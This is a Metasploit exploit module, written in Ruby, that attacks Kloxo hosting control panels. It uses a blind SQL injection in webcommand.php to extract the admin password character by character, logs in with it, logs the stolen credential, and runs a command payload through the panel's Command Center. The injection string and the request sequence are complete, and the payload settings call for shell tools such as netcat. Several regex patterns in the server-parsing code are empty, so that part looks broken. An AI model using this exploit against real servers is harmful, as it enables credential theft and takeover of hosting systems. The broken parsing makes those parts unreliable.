##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
Rank = ManualRanking
PASSWORD_PREFIX = '__lxen:'
BASE64_RANGE = Rex::Text::AlphaNumeric + '+/='
attr_accessor :password
attr_accessor :session
attr_accessor :server
def initialize(info = {})
super(update_info(info,
'Name' => 'Kloxo SQL Injection and Remote Code Execution',
'Description' => %q{
This module exploits an unauthenticated SQL injection vulnerability affecting Kloxo, as
exploited in the wild on January 2014. The SQL injection issue can be abused in order to
retrieve the Kloxo admin cleartext password from the database. With admin access to the
web control panel, remote PHP code execution can be achieved by abusing the Command Center
function. The module tries to find the first server in the tree view, unless the server
information is provided, in which case it executes the payload there.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # Discovery, exploit in the wild
'juan vazquez' # Metasploit Module
],
'References' =>
[
['URL', 'https://vpsboard.com/topic/3384-kloxo-installations-compromised/'], # kloxo exploited in the wild
['URL', 'http://www.webhostingtalk.com/showthread.php?p=8996984'], # kloxo exploited in the wild
['URL', 'http://forum.lxcenter.org/index.php?t=msg&th=19215&goto=102646'] # patch discussion
],
'Arch' => ARCH_CMD,
'Platform' => 'unix',
'Payload' =>
{
'Space' => 262144, # 256k
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl python gawk netcat'
}
},
'Targets' =>
[
['Kloxo / CentOS', {}]
],
'Privileged' => true,
'DisclosureDate' => 'Jan 28 2014',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(7778),
OptString.new('TARGETURI', [true, 'The URI of the Kloxo Application', '/'])
], self.class)
register_advanced_options(
[
OptString.new('SERVER_CLASS', [false, 'The server class']),
OptString.new('SERVER_NAME', [false, 'The server name'])
], self.class)
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
module_fullname: fullname,
post_reference_name: self.refname,
private_data: opts[:password],
origin_type: :service,
private_type: :password,
username: opts[:user]
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
last_attempted_at: opts[:attempt_time]
}.merge(service_data)
create_credential_login(login_data)
end
def check
return Exploit::CheckCode::Safe unless webcommand_exists?
return Exploit::CheckCode::Safe if exploit_sqli(1, bad_char(0))
return Exploit::CheckCode::Safe unless pefix_found?
Exploit::CheckCode::Vulnerable
end
def exploit
fail_with(Failure::NotVulnerable, "#{peer} - The SQLi cannot be exploited") unless check == Exploit::CheckCode::Vulnerable
print_status("Recovering the admin password with SQLi...")
loot = base64_password
fail_with(Failure::Unknown, "#{peer} - Failed to exploit the SQLi...") if loot.nil?
@password = Rex::Text.decode_base64(loot)
print_good("Password recovered: #{@password}")
print_status("Logging into the Control Panel...")
@session = send_login
fail_with(Failure::NoAccess, "#{peer} - Login with admin/#{@password} failed...") if @session.nil?
report_cred(
ip: rhost,
port: rport,
user: 'admin',
service_name: 'http',
password: @password,
attempt_time: DateTime.now
)
print_status("Retrieving the server name...")
@server = server_info
fail_with(Failure::NoAccess, "#{peer} - Login with admin/#{Rex::Text.decode_base64(base64_password)} failed...") if @server.nil?
print_status("Exploiting...")
send_command(payload.encoded)
end
def send_login
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.to_s, 'htmllib', 'phplib', ''),
'vars_post' =>
{
'frm_clientname' => 'admin',
'frm_password' => @password,
'login' => 'Login'
}
)
if res && res.code == 302 && res.headers.include?('Set-Cookie')
return res.get_cookies
end
nil
end
def server_info
unless datastore['SERVER_CLASS'].blank? || datastore['SERVER_NAME'].blank?
return { :class => datastore['SERVER_CLASS'], :name => datastore['SERVER_NAME'] }
end
res = send_request_cgi({
'uri' => normalize_uri(target_uri.to_s, 'display.php'),
'cookie' => @session,
'vars_get' =>
{
'frm_action' => 'show'
}
})
if res && res.code == 200 && res.body.to_s =~ //
return parse_display_info(res.body.to_s)
end
nil
end
def parse_display_info(html)
server_info = {}
pos = html.index(//)
if html.index(//, pos).nil?
return nil
else
server_info[:class] = $1
end
if html.index(/ /, pos).nil?
return nil
else
server_info[:name] = $1
end
server_info
end
def send_command(command)
data = Rex::MIME::Message.new
data.add_part(@server[:class], nil, nil, 'form-data; name="frm_o_o[0][class]"')
data.add_part(@server[:name], nil, nil, 'form-data; name="frm_o_o[0][nname]"')
data.add_part(command, nil, nil, 'form-data; name="frm_pserver_c_ccenter_command"')
data.add_part('', nil, nil, 'form-data; name="frm_pserver_c_ccenter_error"')
data.add_part('updateform', nil, nil, 'form-data; name="frm_action"')
data.add_part('commandcenter', nil, nil, 'form-data; name="frm_subaction"')
data.add_part('Execute', nil, nil, 'form-data; name="frm_change"')
post_data = data.to_s
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path.to_s, 'display.php'),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'cookie' => @session,
'data' => post_data
}, 1)
end
def webcommand_exists?
res = send_request_cgi('uri' => normalize_uri(target_uri.path.to_s, 'lbin', 'webcommand.php'))
if res && res.code == 200 && res.body.to_s =~ /__error_only_clients_and_auxiliary_allowed_to_login/
return true
end
false
end
def pefix_found?
i = 1
PASSWORD_PREFIX.each_char do |c|
return false unless exploit_sqli(i, c)
i = i + 1
end
true
end
def bad_char(pos)
Rex::Text.rand_text_alpha(1, PASSWORD_PREFIX[pos])
end
def ascii(char)
char.unpack('C')[0]
end
def base64_password
i = PASSWORD_PREFIX.length + 1
loot = ''
until exploit_sqli(i, "\x00")
vprint_status("Bruteforcing position #{i}")
c = brute_force_char(i)
if c.nil?
return nil
else
loot << c
end
vprint_status("Found: #{loot}")
i = i + 1
end
loot
end
def brute_force_char(pos)
BASE64_RANGE.each_char do |c|
return c if exploit_sqli(pos, c)
end
nil
end
def exploit_sqli(pos, char)
# $1$Tw5.g72.$/0X4oceEHjGOgJB/fqRww/ == crypt(123456)
sqli = "al5i' "
sqli << "union select '$1$Tw5.g72.$/0X4oceEHjGOgJB/fqRww/' from client where "
sqli << "ascii(substring(( select realpass from client limit 1),#{pos},1))=#{ascii(char)}#"
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.to_s, 'lbin', 'webcommand.php'),
'vars_get' =>
{
'login-class' => 'client',
'login-name' => sqli,
'login-password' => '123456'
}
)
if res && res.code == 200 && res.body.blank?
return true
elsif res && res.code == 200 && res.body.to_s =~ /_error_login_error/
return false
end
vprint_warning("Unknown fingerprint while exploiting SQLi... be careful")
false
end
end